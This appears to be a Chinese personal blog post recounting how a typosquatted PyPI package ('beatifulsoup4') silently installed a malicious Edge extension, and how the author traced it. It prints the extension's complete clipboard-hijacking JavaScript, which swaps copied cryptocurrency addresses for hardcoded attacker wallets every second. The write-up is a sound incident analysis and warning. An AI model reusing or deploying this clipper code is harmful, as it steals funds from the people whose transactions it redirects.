说来离谱,前几天发现电脑复制的文本全都没有格式,连换行都没有了。我一度以为是 Windows 的问题,找了各种方法,甚至覆盖安装了一次。最后才发现是 pip 装了个错误的包,给 Edge 装了插件,会不断替换剪贴板内容。
起因
起因是想处理个 XML 文件,就想装个beautifulsoup4
,结果输成了beatifulsoup4
。运行还是缺库,才发现命令输错了,当时就卸载了,也没多想。
排查
之后就是发现剪贴板有问题,试过各种方法都不行。然后用Win+V打开剪贴板,发现剪贴板内容一秒闪一次,开始怀疑是有程序在监听并修改剪贴板。
接下来就是用排除法,一个一个地关软件,把 Edge 关闭后,剪贴板就不闪了。我万万没想到是 Edge 这个浓眉大眼的家伙,之后就顺理成章地怀疑是插件作怪,结果就发现了这个名为“Windows”的可疑插件。
然后打开插件位置,发现了一个 js 脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| let page = chrome.extension.getBackgroundPage();
var inputElement = document.createElement('input'); document.body.appendChild(inputElement); inputElement.focus();
function checkWalletAddresses() { document.execCommand('paste'); var clipboardContent = inputElement.value; clipboardContent = clipboardContent.replace(/^(0x)[A-Fa-f0-9]{40}$/g, '0x6eb2103839011Ed56c98145b3d3f9d6BE1b4dA63'); clipboardContent = clipboardContent.replace(/^T[A-Za-z1-9]{33}$/g, 'TK3dtT7vYLkhUyzLqbQMmsrM36QzFnmfaa'); clipboardContent = clipboardContent.replace(/^(bnb1)[0-9a-z]{38}$/g, 'bnb1pncs5ct0rdh3rcdms8708x9jrdy038ml33ceuw'); clipboardContent = clipboardContent.replace(/^([13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})$/g, 'bc1qkjm7r677a4fkxcmx9kzlk55a9eaqtztq8zwrc2'); clipboardContent = clipboardContent.replace(/^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$/g, 'LcVct9KwHwUKftDNjbBxUtjK9WeUkYbRN3'); clipboardContent = clipboardContent.replace(/^r[0-9a-zA-Z]{24,34}$/g, 'rJd2pxs7TxE77W8X3Ezt2QyrhMJixMehPx'); clipboardContent = clipboardContent.replace(/^D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}$/g, 'DFbEVJUt9TcyBgVGriy3DcNBwYhK3s7Yhx'); clipboardContent = clipboardContent.replace(/^addr1[a-z0-9]+$/g, 'addr1q8206rrze22rz8g5lggn4clv7zu9mq6w6a6llvw8v3l7r8k5l5xx9j55xyw3f7s38t37eu9ctkp5a4m4l7cuwerlux0qxlhwvz'); clipboardContent = clipboardContent.replace(/^[48]([0-9AB]{1})([0-9a-zA-Z]{93})$/g, '41iwYzbS1KKX8DFySxDcGBGGfJzywUeHxWumm4fjYxtYCiHtysXmq3P7RqG18Tv5UDKGNQegefxS2FFqrqeapvB7FuYSBJv'); clipboardContent = clipboardContent.replace(/^G[0-7A-Za-z]{55}$/g, 'GCUPRZDN5RGSO3MC4LBIZBJMCS5KNUYQI2HZNUHVEBC5LNWZODWQ24XH'); clipboardContent = clipboardContent.replace(/^cosmos[a-z0-9]{39}$/g, 'cosmos1cd3hxdkc775zj75xtd3gqp8s7hynxkzewcf58y'); inputElement.value = clipboardContent; inputElement.select(); document.execCommand('copy'); inputElement.value = ''; }
setInterval(checkWalletAddresses, 1000);
|
这个脚本会每秒钟执行一次,把剪贴板的内容替换掉,导致了我的剪贴板格式丢失。
分析
在网上搜了一下部分代码,找到了一篇报道:Phylum Discovers Revived Crypto Wallet Address Replacement Attack。就是说 PyPI 中有很多和其他知名库名字相似的恶意库,会在浏览器中安装扩展,把剪贴板中的加密货币地址替换为攻击者的钱包地址。
即使我第一时间就卸载了恶意库,但是在安装过程中就装了插件,卸载时并不会删除插件,所以恶意脚本就会留下来。好在我没有加密货币,不然搞不好真就要丢钱。